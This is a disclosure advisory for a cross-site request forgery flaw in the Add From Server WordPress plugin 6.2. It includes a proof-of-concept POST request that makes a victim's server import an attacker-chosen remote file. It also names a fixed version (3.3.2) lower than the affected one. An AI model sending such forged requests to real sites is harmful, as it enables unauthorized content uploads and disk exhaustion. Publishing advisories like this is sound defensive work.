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WordPress Add From Server 6.2 Cross Site Request Forgery

WordPress Add From Server 6.2 Cross Site Request Forgery
Posted Aug 8, 2016
Authored by Securify B.V., Edwin Molenaar

WordPress Add From Server plugin version 6.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 6c0c972a52a28a8103eab4912adf199d89faffb156826a7e339ae465f7789ef8

WordPress Add From Server 6.2 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery vulnerability in Add From Server WordPress
Plugin
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Edwin Molenaar, July 2016

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Abstract
------------------------------------------------------------------------
It was discovered that Add From Server is vulnerabile to Cross-Site
Request Forgery. It can be exploited by luring the target user into
clicking a specially crafted link or visiting a malicious website (or
advertisement). An attacker can use this issue to add illegal content to
the victims server, or add very large files to the victim's server to
exaust the amount of avalible disk space.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160718-0004

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These issues were successfully tested on Add From Server WordPress
Plugin version 6.2.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Add From Server version 3.3.2.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_add_from_server_wordpress_plugin.html

When a (media) file is added from the server, the source is not validated. This means that not only files from the localhost can be added, but also from other sources. The affected code is not protected with an anti-Cross-Site Request Forgery token.

The function handle_imports() only removes slashes. The vulnerability exists in the file add-from-server/class.add-from-server.php (line 213). Because slashes are removed, the file that will be uploaded must exist in the server root. For example: www.example.com/largefile.txt

The host and filename will be set in a separate parameter, so no slashes are needed.


Proof of concept

POST /wp-admin/upload.php?page=add-from-server HTTP/1.1
Host: <target>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded

files%5B%5D=largefile.txt&import-date=current&cwd=www.example.com&import=Import

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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